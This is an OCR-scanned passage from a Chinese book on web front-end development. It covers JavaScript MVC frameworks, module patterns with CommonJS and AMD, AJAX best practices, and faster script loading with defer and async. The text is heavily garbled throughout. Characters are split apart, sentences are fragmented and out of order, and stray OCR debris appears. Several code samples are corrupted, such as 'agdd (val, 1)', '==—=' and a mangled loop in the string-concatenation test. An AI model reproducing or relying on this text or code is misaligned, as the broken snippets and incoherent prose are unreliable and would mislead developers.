况 下 就 需要 有 更 有 效 的 实践 方式 来 组 织 前 端 JavaScript 代 码 。MVC 思 想 的 引入 ， 很 大 程度 上 解决 了 前 端 代码 混乱 的 问题 ， 使 得 前 端 / 




















父 受 水 


， 更 多 后 端的 逻辑 转移 到 了 前 端 ， 后 端 仅仅 成 为 了 一 个 返回 JSON 数 所 


预先 编译 异 板 。 例 如 ， 通 过 Grunt 插 件 四 预先 把 Handlebars 的 模板 文件 转换 为 执行 速度 更 快 的 函数 。 这 种 方式 相 比较 而 言 





居 的 RESTful 服 务 。 在 这 种 情 


il 











avaScript 代 码 的 








层次 更 清晰 ， 提 高 了 代码 的 可 忆 





用 性 和 可 维护 性 。 





















































































































































其 实 ， 在 后 端 程序 设计 中 MVC 模 式 已 经 出 现 了 很 多 年 ， 后 端的 程序 员 应 该 不 会 对 这 个 概念 陌生 。MVC 是 Model-View-Controller[ 的 缩写 ， 它 将 程序 设计 分 为 三 个 部 分 : model 层 是 数据 层 ，view 层 
是 用 户 表现 层 ， 而 controller 是 用 户 交互 控制 层 。 一 般 来 说 ，controller 会 从 model 层 请 求 数据 ， 在 将 数据 经 过 处 理 后 就 会 放 到 view 层 显示 给 最 终 用 户 。 在 前 端 页 面 中 ， 通 过 AJAX 或 者 其 他 手段 将 从 后 端 得 到 
的 数据 进行 一 些 处 理 并 构成 model 层 ， 而 最 终 的 CSS 和 生成 的 HTML 以 及 一 些 细节 的 DOM 操 作 构 成 了 view 层 ; controller 层 主要 关注 具体 业务 ， 比 如 ， 和 model 交 互 、 处 理 数据 、 验 证 数据 、 取 得 和 保存 数 
据 等 ， 同 时 还 会 根据 实际 的 业务 和 数据 操作 view 层 ， 驱 动 view 层 展现 页 面 给 最 终 用 户 。 有 开发 者 写 了 一 篇 很 好 的 文章 [来 介绍 JavaScript MVC 模 式 的 构建 方式 。 在 这 篇 文章 中 ， 作 者 从 一 个 具体 的 实例 出 发 






























































详细 介绍 了 Javascript MVC 模 式 中 各 层 的 构建 方式 和 原则 ， 推 荐 感 兴趣 的 读者 阅读 。 

















在 实际 的 使 用 中 ，MVC 模 式 并 不 是 适合 所 有 的 Web 项 目 。 如 果 Web 项 目 仅仅 有 几 个 简单 的 功能 ， 前 端 数 据 结 构 并 不 复杂 ， 这 时 使 用 MVC 模 式 就 会 有 过 度 设计 的 嫌疑 ， 对 于 此 类 情况 ， 可 能 使 











Javascript 模 板 就 能 让 代码 足够 清晰 ; 如果 Web 项 目 中 前 端 部 分 业务 很 复杂 ， 并 且 存 在 大 量 的 数据 操作 ， 则 推荐 在 前 端 使 用 MVC 模 式 。 




















在 前 端 构建 MVC 模 式 时 ， 推 荐 使 用 成 熟 的 JavaScript MVC 框 架 。 目 前 ， 有 很 多 成 熟 的 JavaScript MVC 框 架 ， 依 扩 






































居 GitHub 网 站 上 的 统计 ， 在 2013 年 流行 的 JavaScript MVC 框 架 对 应 的 浏览 用 户 数量 从 











多 至 少 依次 为 : Backbone、AngularJS、Meteor、Ember、Knockout。 相 比较 2012 年 的 统计 ， 浏 览 的 用 户 数量 增长 率 从 快 到 慢 依 次 为 : AngularJS、Meteor、Ember、Knockout、Backbone。 以 上 这 
































些 统计 数据 本 身 只 能 作为 参考 ， 很 难说 哪个 框架 是 最 优秀 的 框架 ， 在 实际 的 使 用 中 ， 还 是 需要 结合 项 目的 需求 来 选择 合适 的 框架 。JavaScript MVC 框 架 一 般 会 具有 


























如 下 的 主要 功能 : 双向 绑 定 、 模 板 、 路 由 














及 可 观察 对 象 等 。 除 了 考虑 框架 的 功能 外 ， 代 码 文件 的 大 小 ， 以 及 和 其 他 框架 的 依赖 程度 、 框 架 学 习 的 难 易 程度 、 开 发 效率 、 社 区 支持 等 都 需要 作为 考虑 的 
章 B]， 开 发 者 在 选择 前 端 MVC 框 架 时 可 以 参考 。 

















因素 。 这 里 推荐 两 篇 对 比 各 前 端 MVC 框 架 的 文 




















另外 一 个 可 以 辅助 开发 者 选择 前 端 MVC 框 架 的 方式 是 借助 于 TodoMVC 欠 项 目 。 在 这 个 项 目 中 ， 可 使 用 各 种 前 端 MVC 框 架 来 完成 一 个 相同 的 Todo 功 能 应 






































。 开 发 者 可 以 查看 各 框架 中 模型 的 定义 、 视 
司 及 控制 器 的 使 用 方式 等 ， 横 向 对 比 每 个 框架 的 优势 。TodoMVC 项 目 在 展示 每 个 框架 的 同时 ， 也 提供 了 框架 相关 的 资料 ， 这 些 资料 非常 全 面 。TodoMVC 项 目 网 站 不 仅 可 上 























时 也 是 一 个 很 好 的 学 习 前 端 MVC 框 架 的 网 站 。 





1] http:/ /zh.wikipedia.org/wiki/ MVC 
2] http:/ /alistapart.com/article/javascript-mve 


http://sporto.github.io/blog/2013/04/12/comparison-angular-backbone-can-ember 和 http://www.funnyant.com/choosing-javascript-mvc-framework/ 








4] http:/ /todomvc.com/ 


9.8 ” JavaScript 模块 化 开发 






































于 辅助 选择 前 端 MVC 框 架 ， 同 


若 使 用 前 端 MVC 模 式 ， 可 以 按照 不 同 的 职责 划分 代码 的 层级 ， 提 高 了 代码 的 可 维护 性 ， 也 可 以 根据 业务 或 功能 的 不 同 对 前 端 代码 进行 划分 ， 因 为 业务 逻辑 主要 通过 javascript 代 码 来 组 织 ， 所 以 这 种 开 











SN 








发 方式 也 称 为 前 端 Javascript 模 块 化 开发 。 模 块 就 是 指 包含 业务 相关 的 方法 和 数据 的 组 合 ， 且 模块 之 间 实 现 松 耦 合 ， 每 个 模块 都 有 对 外 公开 的 接口 ， 供 模块 之 间 互 相 调 





eh 


前 端 MVC 模 式 类 似 ， 它 可 按照 模块 划分 前 端 结构 ， 使 得 代码 的 结构 更 加 清晰 、 团 队 协 作 变 得 更 融洽 、 单 元 测试 更 容易 实施 。 
























































按照 模块 的 设计 思想 ， 在 JavaScript 中 利用 立即 执行 函数 ， 可 以 实现 在 不 暴露 私有 数据 的 前 提 下 公开 一 些 公共 的 接口 ， 如 下 是 模块 的 具体 实现 示例 。 








var modulel = (function(){ 
var length = 0; 
var init = function(){ 


//http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/... 
by 
Var action = function(){ 
//http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/... 
return { 
init; init, 
action : action 


]) 0; 











。JavaScript 模 块 化 开发 的 优点 和 应 








这 种 方式 避免 了 模块 之 间 的 代码 “污染 ”， 很 巧妙 地 做 到 了 模块 的 封装 和 接口 的 公开 。 为 了 最 大 量 保持 模块 的 独立 性 ， 模 块 和 模块 之 间 最 好 通过 各 自 的 公开 接口 来 通信 。 如 果 模 块 之 间 存 在 很 紧 的 依赖 




















关系 ， 则 模块 内 部 最 好 不 要 直接 访问 所 依赖 的 外 部 模块 ， 而 是 通过 参数 的 方式 传 入 模块 ， 示 例 代码 如 下 。 


var modulel = (function ($, module2) { 


//http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/... 
) (jQuery, module2); 











在 上 述 代 码 中 ， 全 局 变量 jQuery 和 模块 module2 传 入 到 了 模块 module1 中 ， 而 在 模块 内 部 又 是 使 用 参数 $ 和 module2 作 为 jQuery 和 module2 在 模块 内 部 的 引 






































’ 


module2。 












































并 没有 直接 使 用 全 局 变量 jQuery 和 

















如 果 前 端的 模块 较 少 ， 使 用 如 上 的 方式 就 可 以 很 有 效 地 做 到 对 前 端 模块 的 管理 。 假 如 前 端 代码 模块 过 多 ， 需 要 动态 加 载 ， 并 且 模块 之 间 的 依赖 关系 复杂 ， 则 需要 
模块 的 加 载 和 模块 之 间 的 依赖 关系 。 很 多 时 候 ， 加 载 的 模块 并 不 是 来 自 于 同一 个 项 目 ， 或 者 不 是 同一 个 开发 者 所 开发 的 ， 因 此 ， 有 必要 使 用 统一 的 规范 ， 使 得 模块 之 









































间 可 以 更 好 地 进行 交互 。 目 前 ,通用 的 


更 好 的 方式 来 管理 模块 ， 主 要 是 管理 





























JavaScript 模 块 规范 主要 有 两 种 : CommonJS[1] 和 AMDI2] (Asynchronous Module Definition) 。 两 者 的 主要 差别 在 加 载 模块 的 方式 上 ， 在 CommonJS 规 范 中 以 同步 的 方式 加 载 模块 ， 在 AMD 规 范 中 则 
是 以 异步 方式 加 载 模块 。 因 此 ，CommonJs 规 范 更 多 地 使 用 在 如 Nodejs 等 服务 器 端 环境 中 ， 而 AMD 规 范 更 多 地 使 用 在 有 网 络 延迟 存在 的 浏览 器 环境 中 。 此 外 ，CommonJs 规 范 中 使 用 require () 方法 来 






































加 载 模块 ， 如 下 代码 就 是 以 CommonJs 规 范 定义 的 方式 加 载 math 模 块 的 。 





var add = require('math') .add; 
agdd (val, 1); 





AMD 规 范 采用 异步 的 方式 加 载 模块 ， 为 了 在 加 载 时 不 影响 后 续 的 执行 ， 在 实现 上 使 用 了 回调 函数 ， 将 如 上 的 代码 写成 AMD 规 范 ， 就 是 如 下 的 样子 。 


require('math', function (math){ 
var add = math.add; 


add(val, 1); 
1D); 





















































因为 本 书 的 内 容 主 要 集中 在 浏览 器 端的 Web 前 端 开 发 方面 ， 所 以 只 会 关注 AMD 规 范 。 目 前 实现 了 AMD 规 范 的 JavaScript 库 主要 有 两 个 : requireJSB] 和 和 curl 内， 其 中 requirejJs 使 用 较为 广泛 ， 




















因为 其 本 








身 的 功能 强大 ， 框 架 也 很 成 熟 ， 所 以 推荐 在 前 端 使 用 此 框架 来 管理 前 端 代码 模块 。 这 里 不 继续 讨论 requireJS 框 架 中 的 模块 定义 和 加 载 等 具体 的 使 用 方式 ， 因 为 requireJS 官 方 网 站 上 有 很 详细 的 文档 可 以 查 














看 。 





另外 ， 很 多 的 JavaScript 框 架 也 支持 AMD 规 范 ， 它 们 本 身 也 可 以 作为 一 个 模块 存在 ， 比 如 jQuery， 在 jQuery 框架 代码 的 结尾 处 就 添加 有 支持 CommonJS 和 AMD 规 范 的 代码 ， 如 下 : 





if ( typeof module === "object" && module && typeof module.exports === "object" ) { // CommonJS 
module.exports = jQuery; 
} else { // RMD 
window.jQuery = window.$ = jQuery; 
if ( typeof define ==—= "function" && define.amd ) { 
define( "jquery", []， function () { return jQuery; } ); 
} 


通常 情况 下 ， 添 加 很 少量 的 代码 就 可 以 让 模块 支持 两 种 规范 ， 开 发 者 如 果 想 让 


[1] http://wiki.commonjs.org/wiki/Modules/1.1 
[2] https:/ /github.com/amdjs/amdjs-api/wiki/ AMD 


[3] http://requirejs.org 


[4] https:/ /github.com/cujojs/cutl 


9.9 


AJAX 技 术 在 
了 AJAX 技 术 。 随 之 而 来 的 是 ， 
讨论 应 


在 使 
任何 资源 或 页 
个 页 面 的 
AJAX 技 术 取 得 的 任何 数据 都 是 动态 的 ， 所 以 如 果 没 有 添 


合理 使 用 AJAX 技 术 














前 的 Web 网 页 中 应 
很 多 框架 也 包装 了 常 



































得 非常 广泛 ， 对 Web 的 发 
的 AJAX 应 用 场景 ， 自 然 也 就 会 

















AJAX 技 术 时 需要 遵循 的 一 些 最 佳 实践 方法 。 

















明确 AJAX 技 术 的 使 














(1) 











自己 写 的 模块 支持 CommonJS 和 AMD 规 范 ， 则 可 以 参考 如 上 的 代码 。 

















展 也 起 着 






































AJAX 技 术 时 ， 首 先 要 明确 使 
面 ， 从 而 给 用 户 提供 一 种 类 似 桌 
， 这 种 做 法 就 有 滥用 AJAX 技 术 的 嫌疑 ， 









































团 几 ， 











U 

















场景 ， 并 不 能 
程序 的 体验 ; 动态 进行 
在 这 种 情况 下 ， 使 用 传统 
[额外 的 处 理 ，AJAX 


因 



































是 在 使 


使 


多 达 


生 的 AJAX 方 法 ， 可 使 
的 全 面 普及 ， 新 手 们 开始 接触 JavaScript 编 程 时 就 在 使 
入 地 理解 AJAX 原 理 ， 这 样 才能 在 没有 使 
AJAX 的 工作 原理 、 完 整 的 AJAX 调 用 代码 ， 


AJAX 操 作 
响应 的 假象 。 为 了 提高 











AJAX 技 术 时 需要 考虑 的 问题 ， 切 记 不 要 





使 用 。 



































AJAX 技 术 时 ， 推 荐 使 





成 熟 框架 提供 的 方案 。 


(2) 借助 成 熟 的 AJAX 框 架 ， 但 不 要 忘记 原生 的 AJAX 使 用 方法 























的 应 用 就 会 破坏 浏览 器 


前 ， 很 多 的 完备 框架 都 提供 了 AJAX 相 关 的 接 











中， 


封 
ES 





18 个 有 关 AJAX 的 接 装 了 所 有 常 F 























的 AJAX 应 用 模式 。 直 接 使 用 这 些 框架 提供 

















框架 提供 的 接 






































， 减 少 不 必 要 的 开发 成 本 。 在 熟练 使 


上 的 


巨大 的 作用 ， 可 以 说 是 Web 网 页 开发 的 基石 。 正 是 由 于 AJAX 的 应 用 才 促进 了 Web 2.0 的 快速 发 
现 很 多 的 实践 方法 ， 但 在 使 用 这 些 实践 方法 时 也 存在 一 些小 用 的 情况 ， 并 且 在 有 些 方法 的 使 用 上 有 改进 的 余地 。 以 下 











展 ， 大 部 分 新 开发 的 网 页 中 都 应 


























为 AJAX 技 术 流 行 就 滥用 。 适 合 使 用 AJAX 技 术 的 场景 有 : 前 端 会 根据 
户 输入 的 验证 ; 其 他 任何 期 
购 页 面 跳 转 方式 转换 页 面 才 更 符合 Web 网 页 的 体验 。 除 了 考虑 AJAX 的 使 
后 退 按钮 ， 破 坏 搜索 引 

















后 更 新 网 页 界 





户 需求 动态 取得 后 端 数 据 ， 然 






































口 , 方便 了 











发 者 的 使 用 ， 比 如 jQuery、Dojo、YUI、ExtJS 等 流行 | 








面 ;期望 通过 不 刷新 页 
望 通过 异步 方式 取得 资源 的 情况 。 有 些 网 站 为 了 做 到 类 似 桌面 程序 的 体验 ， 通 过 AJAX 技 术 来 蔡 换 整 
场景 外 ， 还 需要 关注 AJAX 带 来 的 一 些 缺 陷 ， 





而 取得 





中 











因为 使 




















的 框架 。 以 jQuery 为 例 ， 











的 AJAX 接 






































任何 框架 或 者 并 不 需要 使 














， 节 省 了 开发 者 很 多 的 时 间 ， 也 
框架 提供 的 AJAX 技 术 方案 的 同时 ， 也 不 应 该 忘记 原生 的 AJAX 使 








屏蔽 了 浏览 器 兼容 的 问题 。 如 果 在 项 





引 


了 这 些 框架 ， 风 























方法 ， 以 及 浏览 器 兼容 方式 。 随 着 诸如 jQuery、 


擎 的 索引 ， 并 且 会 在 任何 禁用 了 JavaScript 的 场合 失去 作用 。 以 上 这 些 特性 都 











其 提供 了 
不 要 使 用 原 
YUI 等 框架 



































这 些 成 熟 框 架 ， 也 许 不 会 接触 很 多 JavaScript 原 生 的 使 

















框架 的 | 











可 供 


























(3) 在 AJAX 操 作 过 程 中 ， 做 好 和 用 户 的 交互 























有 异步 ， 以 及 操作 过 程 中 页 面 无 刷 


H 











新 的 特色 ， 如 果 


发 者 参考 。 














青 况 下 ， 使 














户 在 页 
































户 的 体验 ， 有 必 








作 过 程 中 禁 
中 。AJAX 操 作 完成 后 ， 如 果 操 作 失败 ， 则 要 告知 


Java 














在 进行 AJAX 操 作 的 过 程 中 给 
触发 此 操作 的 按钮 、 添 加 蒙 版 ， 或 者 在 代码 中 添加 表明 正在 操作 中 的 标志 位 等 ， 


H 











原生 方法 实现 AJAX 调 用 。 有 


上 做 某 些 操作 触发 了 一 个 AJAX 请 求 ， 默 认 并 不 会 立即 有 页 面 


方法 。 实 际 上 ， 了 解 原生 的 AJAX 使 用 方法 是 很 有 必要 的 ， 了 解 











原生 的 AJAX 使 














方法 才能 深 



































原生 








发 者 写 了 一 篇 介绍 如 何 正确 地 使 用 原生 的 AJAX 的 文章 忆 














的 响应 。 如 果 没有 提供 任何 AJAX 操 作 的 





， 在 文章 中 包含 了 有 关 








反馈 ， 可 




















户 适 当 的 反馈 ， 让 














户 知道 当前 页 


os 

















在 做 什么 样 的 操作 、 操 作 的 结果 如 何等 ， 防 止 用 户 重复 操作 。 
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九 









































户 并 提示 





























(4) 使 





JSON 格 式 作为 AJAX 传 输 的 数据 格式 














如 果 使 























Script 原 生 的 支持 ， 所 以 目前 大 部 分 场景 中 都 使 


格式 。 


但 是 如 果 有 需 
后 退 按钮 来 切换 页 面 上 的 无 届 











(5) 使 























和 面 提 到 了 使 中 


的 方案 ， 比 如 使 





Ru 



































也 有 可 














合适 的 方案 ， 弥 补 AJAX 技 术 带 来 的 缺陷 





， 则 








新 操作 。 


1] http:/ /api.jquery.com/category /ajax 


3] https:/ /github.com/cowboy/jquery-hashchange 


第 10 章 ”高 性 能 的 JavaScript 


响应 
为 开 


效率 





的 其 
提高 


Re 








随 着 互联 网 的 迅速 发 








展 ， 越 来 越 多 的 人 会 选择 通过 互联 网 来 了 解 世界 的 变化 ，Web 























浏览 器 不 会 记录 AJAX 请 求 的 历史 ， 也 就 是 说 ， 不 能 
jQuery 插件 jquery-hashchangeB]。 此 插件 基本 的 设计 思路 是 通过 设置 URL 上 的 hash 值 来 实现 浏览 器 浏览 历史 的 保留 ， 


2] http:/ /net.tutsplus.com/articles/news/how-to-make-ajax-requests-with-raw-javascript 


可 防止 


户 重 








JOSN 格 式 作为 数据 传输 的 格式 。 从 性 能 和 维护 性 上 来 说 ，JSON 格 式 比 XML 格 式 有 优势 。 除 非特 殊 场 合 ， 应 尽量 使 


过 





站 击 后 退 按钮 返回 到 AJAX 请 求 之 前 的 状态 。 














操作 ， 并 且 在 操作 过 程 中 要 有 合适 的 页 





户 后 续 的 操作 。AJAX 操 作 需 要 添加 一 个 超时 的 限制 ， 如 果 在 此 限定 的 时 间 操 作 未 完成 ， 则 提醒 用 户 超时 并 终止 AJAX 





AJAX 技 术 动态 取得 数据 ， 则 要 选择 合适 的 数据 格式 。AJAX 最 初 设 计 是 支持 XML 格式 的 数据 ， 但 传输 相同 的 信息 时 ， 使 用 SON 格 式 能 比 XML 格式 具有 更 小 的 数据 量 ， 





操作 。 


能 会 造成 操作 未 
体 的 方式 有 : 在 AJAX 操 
面 提示 ， 如 添加 一 个 加 载 动 画 等 ， 


户 操作 进行 


而 且 JSON 也 得 到 了 





























JSON 格 式 作为 AJAX 调 用 的 数据 








很 多 时 候 可 能 并 不 需要 通过 后 退 按钮 返回 到 之 前 的 状态 ， 




















户 可 以 使 











浏览 器 工 








栏 上 的 前 进 

















页 是 一 个 











迅速 、 动 画展 现 的 直观 效果 要 好 
发 者 关注 的 重点 。 


树 。 相 应 的 ， 








JavaScript 代 码 是 HTML 和 CSS 代 码 的 纽带 ， 
对 整个 前 端 性 能 的 提高 起 着 至 关 重 要 的 作用 。 























默认 情况 下 ， 在 大 部 分 浏览 器 中 ，JavaSc 
他 响应 。 为 了 让 这 种 阻塞 的 特性 不 影响 
JavaScript 代 码 性 能 的 最 佳 实践 方法 。 























1 加 快 JavaScript 文 件 的 加 载 速度 





页 的 运营 者 也 越 来 越 





在 前 端 代码 中 起 着 主导 的 作用 。 随 着 前 


量 视 站 点 的 展示 ， 网 页 中 的 功能 越 来 越 复杂 ， 并 且 各 种 效果 也 越 来 越 多 。 在 这 种 高 要 求 的 情况 下 ， 页 面 





主要 的 入 


端 代码 在 整个 网 站 代码 中 的 比 本 


ript 代 码 文件 的 加 载 和 执行 都 是 以 阻塞 方式 进行 的 ， 并 且 浏 览 器 是 以 和 














。 随 着 访问 网 页 的 人 数 增多 ， 无 形 中 对 访问 体验 有 了 更 高 的 要 求 。 例 














| 如， 界面 








美观 、 页 面 的 


























展现 和 操作 的 性 能 都 会 成 


逐渐 增加 ， 越 来 越 多 的 逻辑 依赖 JavaScript 代 码 ， 提 高 JavaScript 代 码 加 载 和 执行 的 


线程 运行 JavaScript 代 码 和 UI 更 新 的 ， 浏 览 器 加 载 和 运行 JavaScript 代 码 时 会 暂停 页 面 上 
户 的 体验 ， 就 需要 加 快 JavaScript 代 码 的 加 载 和 运行 速度 。 当 然 ， 脱 离 浏览 器 而 讨论 JavaScript 代 码 的 性 能 是 没有 任何 说 服 力 的 ， 本 章 将 结合 各 主流 浏览 器 介绍 





因为 





avaScript 可 能 会 操作 HTML 文 档 ， 所 以 浏览 器 不 会 像 下 载 CSS 文 件 那样 并 行 下 载 JavaScript 文 件 。 默 认 情况 下 ， 浏 览 器 在 解析 页 面 时 遇 到 JavaScript 引 











就 会 停止 后 续 的 























HTML 代 码 解 析 ， 直 到 等 待 


























H 





JavaScript 代 码 文件 下 载 和 运行 完成 后 才 继续 解析 剩余 的 HTML 代 码 []。 如 果 JavaScript 代 码 文件 的 引用 放置 在 了 页 














的 head 元 素 中 ， 那 么 在 加 载 这 些 文件 时 就 会 停止 后 续 标签 的 


















































虽 去 一 上 且 








程 中 , 页 处 于 空白 状态 。 加 载 和 解析 JavaScript 代 码 文件 使 用 的 时 间 越 长 ， 页 面 的 空 
给 变 差 。 尽 管 新 版 本 的 浏览 器 可 以 并 行 下 载 JavaScript 代 码 文件 ， 或 者 通过 在 加 载 JjavaScript 代 码 文件 的 同时 下 载 页 
能 ， 就 要 尽量 缩短 加 载 和 解析 JavaScript 代 码 文件 所 占用 的 时 间 。 从 代码 文件 的 角度 说 ， 加 快 JavaScript 代 码 加 载 速 
码 的 压缩 和 合并 操作 ， 它 们 可 降低 代码 文件 的 大 小 并 减少 文件 请 求 的 次 数 ， 让 代码 文件 更 快 地 加 
方式 。 如 下 将 详细 介绍 这 些 加 载 方式 。 


























a 



































状态 保持 的 时 间 就 越 长 ， 如 果 这 个 空 


载 。 针 对 JavaScript 代 码 文件 ， 除 了 











解析 ， 这 就 意味 着 在 这 个 过 























时 间 过 长 ， 则 用 户 等 待 页 面 响应 的 时 间 就 变 得 很 长 ， 从 而 导致 用 户 体 
中 的 资源 文件 来 提高 性 能 ， 但 是 其 阻塞 的 特性 并 没有 改变 。 因 此 ， 为 了 从 根本 上 提高 性 
度 最 有 效 的 办 法 就 是 减少 初始 加 载 文件 的 体积 和 加 载 的 次 数 。 在 第 2 章 中 曾 介绍 过 前 端 代 
压缩 和 合并 代码 文件 之 外 ， 还 有 延迟 、 异 步 加 载 和 执行 JavaScript 代 码 的 









































因 





H 











曾 介 








































































































延迟 加 载 Javascript 文 件 的 目的 就 是 避免 代码 的 加 载 和 执行 过 程 阻 止 页 面 的 解析 。 按 照 规范 的 定义 ，<script> 标 签 可 以 放置 在 head 和 body 元 素 中 ， 但 开发 者 习惯 于 把 JavaScript 代 码 的 引用 通过 
<script> 标 签 放置 在 head 中 。 浏 览 器 会 先 于 其 他 页 面 可 见 元 素 解析 <script> 标 签 ， 因 而 就 会 阻塞 页 面 的 展示 。 推 荐 的 做 法 是 尽量 将 Javascript 代 码 的 引用 放置 在 <body> 的 底部 ， 让 页 面 其 他 元 素 优先 解 





析 ，Javascript 代 码 文件 的 加 载 和 解析 推迟 到 整个 页 面 的 元 素 解析 完成 后 进行 。 代 码 示例 如 下 : 





<html> 
<head> 
<title>JavaScript 文 件 引 用 </title> 
<link rel="stylesheet" href="sample.css"> 
</head> 
<body> 
<p>sample text</p> 
<!-- 推荐 的 JavaScript 文 件 引用 位 置 --> 
<script src="script1.js"></script> 
<script src="script2.js"></script> 
</body> 
</html> 




















在 这 段 代 码 中 ，JavaScript 代 码 文件 的 引用 放置 在 了 页 


使 用 户 体验 得 到 了 增强 。 























验 得 











前 面 在 5.1.2 节 详细 介绍 过 两 个 <script> 标 签 的 
不 会 产生 任何 的 页 因此 浏览 器 可 以 在 加 载 此 引 











时 继续 解析 页 面 后 续 的 














面 内 容 
































如 果 期 望 所 有 的 文件 得 以 异步 地 加 载 和 执行 ， 而 不 受 限于 顺序 ， 则 可 以 使 
属性 的 具体 应 用 场景 及 之 间 的 差异 ， 可 参考 5.1.2 节 。 





<script> 标 签 上 的 另外 一 个 






































另外 ， 可 以 通过 动态 创建 script 元 素 的 方式 达到 异步 加 载 和 执行 Javascript 代 码 的 效果 ， 示 例 代 码 如 下 : 


Var script = document.createElement ("script"); 

script.type = "text/javascript"; 

script.src = "filel.js"; 

document .getElementsByTagName r ("head") [0] .appendChild (script); 


面 <body> 标 签 的 最 底部 ， 尽 管 没有 改变 阻塞 的 特性 ， 但 此 时 页 


属性 : defer 和 async。HTML4 规 范 中 为 <script> 标 签 定义 了 一 个 
内 容 ， 这 样 就 不 会 阻塞 页 面 的 解析 了 。 


属性 : asyncB]。 添 加 了 这 个 




















面 中 的 可 见 元 素 已 经 全 部 解析 完毕 并 显示 给 了 户 并 没有 感觉 到 长 时 间 的 等 




















个 | 


属性 : deferl 引 ， 添 力 





了 这 个 属性 ， 就 是 在 告诉 浏览 器 这 个 标签 中 包含 的 JavaScript 代 码 




















属性 ， 则 表明 可 以 以 异步 的 方式 加 载 和 执行 JavaScript 代 码 。 这 两 个 















































































































































































































































但 这 种 动态 创建 script 元 素 的 方式 总 归 不 是 一 个 优雅 的 方案 ，JavaScript 代 码 应 该 尽量 少 去 完成 本 应 该 是 HTML 代 码 完成 的 功能 。 因 此 ， 不 推荐 这 种 动态 创建 script 元 素 的 方式 。 

相 比 把 脚本 引用 放置 于 页 面 底部 的 方式 或 动态 创建 script 元 素 ， 给 <script> 设 置 defer 和 async 属 性 的 方式 更 优雅 ， 它 在 兼顾 代码 可 读 性 的 同时 也 提高 了 代码 加 载 执行 的 性 能 ， 推 荐 使 用 这 种 设置 属性 的 
方式 。 至 于 到 底 需 要 设置 哪个 属性 ， 则 要 结合 JavaScript 代 码 段 之 间 的 依赖 关系 来 考虑 了 。 如 果 代码 段 之 间 存 在 先后 的 依赖 关系 ， 则 应 该 设置 defer 属 性 ， 否 则 就 设置 async 属 性 。 因 为 有 些 页 面 的 内 容 基 本 
上 是 通过 Javascript 脚 本 加 载 或 生成 的 ， 所 以 也 没有 必要 延迟 加 载 Javascript 代 码 文件 了 ， 即 不 需要 在 <script> 标 签 上 设置 defer 或 async 属 性 。 

除了 以 上 这 些 随 着 页 面 的 加 载 而 加 载 JjavaScript 文 件 之 外 ， 还 可 以 按 需 加 载 JavaScript 文 件 。 按 需 加 载 的 方式 能 更 有 效 地 减少 初始 加 载 的 JavaScript 代 码 量 。 页 面 在 初始 加 载 时 ， 很 多 的 模块 并 不 会 立 上 
使 用 到 ， 只 有 在 用 户 做 了 某 些 操作 后 才 会 使 用 到 这 些 模 块 的 功能 。 因 此 ， 很 多 时 候 ， 按 需 加 载 JjavaScript 文 件 对 应 的 是 功能 模块 的 按 需 加 载 ， 模 块 化 后 的 前 端 代码 也 最 适合 使 用 这 种 按 需 加 载 的 方式 。 实 现 
按 需 加 载 JavaScript 文 件 的 技术 手段 很 多 ， 基 本 都 是 通过 异步 加 载 方式 。 不 推荐 开发 者 自己 编写 JavaScript 加 载 器 ， 推 荐 使 用 成 熟 的 JavaScript 加 载 框架 ， 成 熟 的 框架 会 仔细 地 处 理 好 浏览 器 兼容 问题 ， 并 
会 有 额外 的 一 些 功 能 。 例 如 ， 可 以 使 用 HeadJS、RequireJS、LABjs 等 JavaScript 模 块 加 载 框架 。 











[1] http://www.htmlS5rocks.com/zh/tutorials/internals/howbrowserswork 
[2] http://www.w3.org/TR/html401 /interact/scripts.html#adef-defer 


[3] http://www.w3.org/TR/html5/scripting-1.html#attr-script-async 


10.2 ” 养 成 良好 的 编码 习惯 ,提高 代码 运行 速度 





在 Javascript 中 ， 很 多 和 Web 前 端 性 能 相关 的 最 佳 实践 都 是 针对 特定 浏览 器 的 。 随 着 浏览 器 的 更 新 换代 ， 诸 如 | 
器 的 版 本 升级 也 非常 快 ， 目 前 3 


















































代码 的 可 读 性 和 可 维护 ， 在 此 前 提 下 才 是 选用 高 性 能 的 编码 方式 。 除 非 是 在 数据 量 非 常 大 ， 代 码 的 运行 有 明显 的 性 
是 一 个 常用 的 字符 串 拼接 方式 。 

// 方式 1 

str += 'strl' + 'str2' 








在 旧版 本 的 浏览 器 中 (尤其 是 IE 6) ， 这 种 方式 会 有 一 些 临 时 变量 的 创建 和 销毁 ， 影 响 了 性 能 ， 推 荐 的 字符 





// 方式 2 

var str array = []; 

str array.push('str1'); 
str array.push 人 
str = str array.join(''); 
// 方式 3 

str +='strl'; 

str +='str2'; 








但 是 在 现代 浏览 器 中 ， 已 经 针对 字符 串 拼 接 做 了 优化 ， 
30.0、Safari 7.0.1、Firefox 26.0 和 在 系统 Windows 7 中 使 用 IE 10 测 试 ， 其 结果 显示 ， 方 式 2 中 借助 数组 拼接 字符 
但 是 在 IE 和 Firefox 中 方式 1 反而 是 性 能 最 好 的 。 如 果 把 上 述 测试 用 例 都 循环 1000 次 ， 即 使 用 如 下 的 测试 用 例 : 

































































流 的 浏览 器 在 性 能 上 的 优化 已 经 做 了 不 少 的 工作 ， 某 些 原来 一 直 提倡 的 有 关 性 能 的 最 佳 实践 方式 并 不 会 对 性 能 有 多 大 的 提高 。 


ab 轩 5 
E34 


因此 ， 很 难 决 定 哪 种 方式 是 性 能 最 优 的 方式 ， 这 在 很 大 程度 上 取决 于 浏览 器 以 及 拼接 字符 


E 6、IE 7 等 低 版 本 的 浏览 器 的 市 场 占有 率 已 经 很 低 了 ，Safari、Chrome、Firefox 等 浏览 
因此 ， 在 编写 JavaScript 代 码 时 ， 首 先是 保证 


那些 可 读 性 和 可 维护 性 差 但 性 能 高 的 编码 方式 。 举 个 例子 ， 如 下 

















响 时 ， 才 应 考虑 选 











拼接 方式 是 如 下 两 种 。 




















的 数据 量 。 在 系统 OS X 10.9.1 中 使 用 浏览 器 Chrome 
的 方式 在 所 有 浏览 器 中 的 性 能 表现 是 最 差 的 ， 在 Chrome、Safari 中 方式 3 的 性 能 最 好 ， 














// 方式 1 


Va. Str = 
for (var i 主 避 T0000 4+ 
St He VOLELY ch- Str2s 





} 

// 方式 2 

var str _array = 让 

for (var i=0; i < 1000; i++) { 
str array.push('str1'); 
str array.push('str2'); 


了 
Var str = str array.join(''); 
// 方式 3 


var str = "17 





str +='str2'; 

















